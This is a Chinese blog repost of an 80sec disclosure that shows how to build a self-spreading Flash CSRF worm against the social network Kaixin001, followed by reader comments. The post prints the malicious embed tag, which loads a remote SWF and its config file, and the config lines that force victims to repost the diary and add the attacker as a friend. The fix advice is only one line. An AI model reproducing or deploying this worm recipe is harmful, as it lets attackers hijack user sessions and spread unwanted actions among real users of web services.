利用Fly_Flash蠕虫攻击开心网

# 鬼仔:最近比较忙,所以更新比较少,抱歉。

来源:80sec

背景说明:开心网是SNS类型网站中做得非常成功的一个站点,拥有海量的用户群,提 供的服务包括照片存储与分享、日记分享、短消息与在线聊天等沟通手段、休闲游戏、在线音乐播放分享等,而其本身对安全也相对于其他网站来说有较多关注。 80sec发现开心网中的某些地方实现得并不好,存在一些安全漏洞,而某些安全漏洞却对于web安全非常具有代表性,在某些情况下可能造成比较大的影响, 本次攻击测试即是对问题的简单证明,同时后续会给出处理此类问题时的解决方案。

漏洞分析:Flash在越来越多的网站得到广泛的应用,往往被用来播放视频,游戏或者是其他复杂的用户交互功能,但是在使用Flash的时候,大部分的网站处理的时候并没有想象中那么安全,譬如在开心网的发日记的地方使用Flash的方式如下:

<embed allowscriptaccess="never" height=384 width=454 src=http://www.80sec.com/x.swf wmode="transparent" loop="false" autostart="false">

开心网直接允许在页面引入其他域的Flash,同时为了安全性,在使用的时候用到了allowscriptaccess属性来做限制。整个代码使用 语法分析的方式来做过滤,无法被绕过,但是这里漏掉了一个重要的属性allowNetworking,利用这个属性flash可以通过浏览器做网络访问。
同时开心网另外一个严重的问题就是CSRF问题,尽管其在重要的数据更改的地方都限制只能使用POST方式提交,但是所有的请求数据内容可以被预知,很容 易就实现CSRF攻击。而开心网用户之间的交互非常之多,利用一些简单的功能就可以实现将某些内容引诱其他用户访问,CSRF的固有的攻击的被动性可以得 到有效的弥补。
综合上面几点,我们就可以利用其中的漏洞主动的攻击开心网在线用户了。

技术实现:80sec之前提供了一款用于Flash渗透测试的工具Fly_Flash,具体地址为http://www.80sec.com /fly_flash-0-1-release.html,利用Fly_Flash我们可以很方便的实现一次渗透测试,譬如在配置文件里写上

3,http://www.80sec.com/action.php?80sec,,,user=data&pass=data

既可以使用浏览器当前的会话像www.kaixin001.com发起一个请求,请求的内容为后面的user=data&pass=data部分,并且整个请求不会受到浏览器的隐私策略的限制,可以同时使用持久Cookie和Session Cookie。

1 发布一个含有测试Flash的帖子,内容包括一些有吸引力的文字和隐藏在文字之间的Flash代码

<embed allowscriptaccess="never" height=384 width=454 src=http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&x.swf wmode="transparent" loop="false" autostart="false">

2 http://www.80sec.com/fly_flash.txt内容是我们要构造的数据包请求,这里利用开心网的转贴功能实现内容在用户之间的传播

2,http://img.users.51.la/3182000.asp
3,http://www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20569243&word=&do=succ&commenttyp=1&uid=&touids=&comment2src=1
3,http://www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20570931&word=&do=succ&commenttyp=1&uid=&touids=&comment2src=1
3,http://www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20567962&word=&do=succ&commenttyp=1&uid=&touids=&comment2src=1
3,http://www.kaixin001.com/friend/addverify.php?80sec,,,from=&touid=773000&content=hi+%0D%0A%3A%29&rcode=&code=&usercode=&email=&bidirection=

其中2,http://img.users.51.la/3182000.asp用作访问的统计,后面的就是自己构造的对http: //www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php发起的POST请求,后面的数据 就是上面我们构造好的邪恶的日记。而一旦用户看了这篇日记之后就会自动进行转贴,一旦其他好友查看之后就会再次自动转贴,蠕虫实现了借助转贴功能的传播。

3 恩,结束,就这么简单。

漏洞修复:我们将在后续对Flash的安全使用问题做深入探讨,这里建议开心网从根本上对CSRF问题做防范,具体方式可以参考80sec以前的文章。

相关日志

楼被抢了 7 层了... 抢座Rss 2.0或者 Trackback

  • wins

    看了
    不是很明白

  • 小柒

    竟然是沙发,, 来鬼仔 这里学习了!!

  • 抢开心的IP 呵呵

  • 0080

    http://www.kaixin001.com/crossdomain.xml
    ===============================================

    ================================================

    它是怎么POST过去的?

  • 大连seo-谷雨网络

    技术性很强的博客,看到不少有价值的内容,dh的空间我以前也用过,但是国内访问速度一般吧。就是比较喜欢,dh可以建无限个网站,呵呵。

  • ninty

    看了一下那个SWF文件的源代码,有点想不明白 呃,,FLASH不是有跨域限制的么,为什么还可以向任意的URL发送数据呃。。

  • 神浩

    很好很强大,一直关注你的空间,做的很好!

发表评论